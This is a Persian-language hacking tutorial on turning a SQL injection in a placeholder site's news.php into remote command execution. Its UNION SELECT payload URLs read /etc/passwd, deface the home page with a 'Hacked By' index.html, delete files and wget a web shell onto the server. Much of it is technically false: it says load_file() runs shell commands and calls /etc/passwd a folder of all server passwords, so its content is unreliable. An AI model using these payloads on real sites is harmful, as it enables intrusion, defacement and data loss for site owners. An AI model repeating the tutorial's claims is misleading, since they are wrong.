تبدیل باگ SQLI به RCE

چگونه باگ sql رو به باگ rce تبدیل کنیم؟باگ SQLI چیست؟باگ SQLI مخفف SQL injection و به معنای تزریق کد های SQL به پایگاه داده از طریق URL است و ممکنه تمامی پایگاه ها مثل (MariaDB ,Microsoft SQL ,Oracle ,My SQL, MS SQL ,...) این باگ و داشته باشند و ضعف از پایگاه داده نیست و این اشتباه از برنامه نویس (php , asp) و کانفیگ غیر استاندارد سرور به وجود میاد.باگ rce چیست؟ باگ rce مخفف Remote Code Execution و به معنای کنترل از راه دور می باشد و به نفوذ گر امکان اجرای دستوراتی رو روی سرور میده و میشه گفت یک اسیب پذیری بصورت ریموت استو بر اساس اشکالات برنامه نویسی شکل میگیره یعنی چطوری؟ ببینید هنگام استفاده از تابع Get در PHP اگر مقدار دریافتی را به درستی تعریف نکنیم با این آسیب پذیری مواجع میشویم . این مقدار میتواند بصورت یک متغیر در برنامه ما باشد . که در صورت بروز مشکل ما میتوانیم یک مقدار بصورت دلخواه به آن وارد کنیم به تابع set را برای دادن مقدار به متغیرها در برنامه ها و تابع get را برای گرفتن مقدار متغیر ها و نمایش آنها در برنامه ها استفاده میکنیمتبدیل باگ sql به rce:پایگاه داده PostgreSQL یکی از معروف ترین پایگاه داده های رابطه ای است که در کاربردهای مختلفی از جمله توسعه وب مورد استفاده قرار می گیرد. در این مقاله به بررسی تزریق UDF در پایگاه داده PostgreSQL خواهیم پرداخت و چگونگی رسیدن به اجرای کد از راه دور (RCE) از این طریق را خواهیم آموخت. اینو یادم رفت بگم که دستوراتی که پایین میبیند مال سرور لینوکسیه خب چجوری بفهمیم سرور تارگتمون لینوکسه؟! کافیه از سایت ping اگه TTL بالای 100 بود سرور تارگت ویندوزیه ولی اگه زیر 100 بود سرور لینوکسیه (ساده ترین راه).خب برای مثال ما یک تارگت داریم که باگ sql از نوع UNION BASE که ما میتونیم به دیتابیس دستوراتمون و وارد کنیم برای مثال :target.com/news.php?id=10قدم بعدی ما پیدا کردن ستون های اسیب پذیره که از یه عدد بزرگ مثلا 9999 شروع میکنیم تا برسیم به تعداد ستون یعنی سایت بدون هیچ اروری لود بشه خب برای مثال ما 9 عدد تعداد ستون های اسیب پذیرمونهtarget.com/news.php?id=10+order+by+9--و میبنم که کدوم ستونمون اسیب پذیره برای مثال ستون 8 اسیب پذیره ولی در اینجا بجای ادامه دستورات باگ sql میایم و دستورات rce خودمون و میزنیم یعنی به صورت ریموت دستور میزنیم خب چجوری؟target.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&quotetc/passwd&quot),9--دستور بالا که توی ستون آسیب پذیر 8 زدیم یک دستور مال باگ rce در اینجا ما هر دستوری که توی باگ rce مورد استفاده قرار میگیره رو میتونیم بزنیم یعنی دستورات لینوکسی خودمون و میتونیم بزنیم در کد بالا ما گفتیم برو توی فایل etc و پوشه پسورد تمام یوزرنیم و پسورد های سرور و به ما نشون بده و اینجا هم میتونیم pwd بزنیم تا مسیری که توش هستیم و به ما نشون بده میتونیم با زدن دستور .. cd به یه پوشه عقب تر برگردیم target.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&quotcd ..&quot),9--وقتی به یه پوشه عقب تر برگشتیم میتونیم با زدن دستور ls -la محتویات داخل پوشه ای که واردش شدیم و ببینیم یا هم میتونیم دو تا دستور و یکی کنیم یعنی بگیم یه مسیر به عقب برگرد و محتویاتش و به ما نشون بدهtarget.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&quotcd .. ; ls -la&quot),9--و همچنین میتونیم محتویات پوشه های سایت و ببینیم برای مثال ما میگیم چه چیزایی در پوشه home و اصلی سایت وجود دارهtarget.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&quotcd /home/ ; ls -la&quot),9--و در اینجا محتویات پوشه اصلی سایت و به ما نشون میده و حتی میتونیم داخل سایت پوشه بسازیم برای مثال میگیم یه پوشه به اسم Me3T4r بساز و کنار پوشه ای که برامون ساختی چه چیزی وجود داره به کد زیر توجه کنیدtarget.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&quotmkdir Me3T4r ; ls -la&quot),9--بعدش میتونیم با دستور cd Me3T4r وارد پوشه ای که ساختیم بشیم و و یک فایل inedx.html بسازیم و سایت و دیفیس کنیم target.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&quotmkdir Me3T4r ; cd Me3T4r ; echo Hacked By Me3T4r IP > index.html ls -la&quot),9--با دستور بالا میاد و یه فایل میسازه و متن دلخواه شمارو چاپ میکنه و فقط کافیه به اخر سایت مسیری که پوشتون و ساختین اضافه کنید بعدش اسم پوشتون و بنویسید تا متنی که چاپ کردین و ببینید و میتونیم فایل های توی دیتابیس و پاک کنیم برای مثال من میخوام پوشه ای که ساختم و پاک کنم و به ما نشون بده که پوشمون پاک شده یا نه چطوری؟؟! ببینیدtarget.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&quotrm -r Me3T4r ; ls -la&quot),9--خب شاید براتون سوال پیش بیاد که میتونیم صفحه اصلی سایت و دیفیس کنیم؟ بله میشه یه pwd میگیریم و میریم توی مسیری که صفحه اصلی سایت وجود داره و اگه index.html مشاهده کردیم دیگه یاد گرفتیم با دستور rm -r index.html پاکش میکنیم و یدونه index.html می سازیم و متن خودمون و توش echo میکنیم ولی اگه بجای index.html ما index.php دیدم چکار کنیم؟؟! کاری نمیخواد بکنیم چون اول فایل index.html خونده میشه و کافیه ما طبق دستور زیر فایل خودمون و بسازیم تا صفحه اصلی و دیفیس کنیم.target.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&quotcd /home/public_html/ ; echo Hacked By ME3T4r IP > index.html ; ls -la&quot),9--و ما موفق شدیم صفحه اصلی سایت مورد نظرمون و دیفیس کنیم خب حالا یه سوال پیش میاد براتون که آیا ما میتونیم روی سرور فایل اپلود کنیم یا روی سایتمون شل یا هرچیز دیگه اپلود کنیم؟! بله میشه اول میریم فایلمون رو روی سایت هایی که میشه روشون فایل اپلود کرد اپلود میکنیم و با دستور زیر فایل مثلا شل مون و توی سرور سایت اپلود میکنیمtarget.com/news.php?id=10+union+select+1,2,3,4,5,6,7,load_file(&quotwget **** ; ls -la&quot),9--بجای **** ادرس فایل مورد نظرتون رو وارد کنین و فایل دانلود میشه و فقط کافیه اونو فراخوانی کنید.موفق باشید.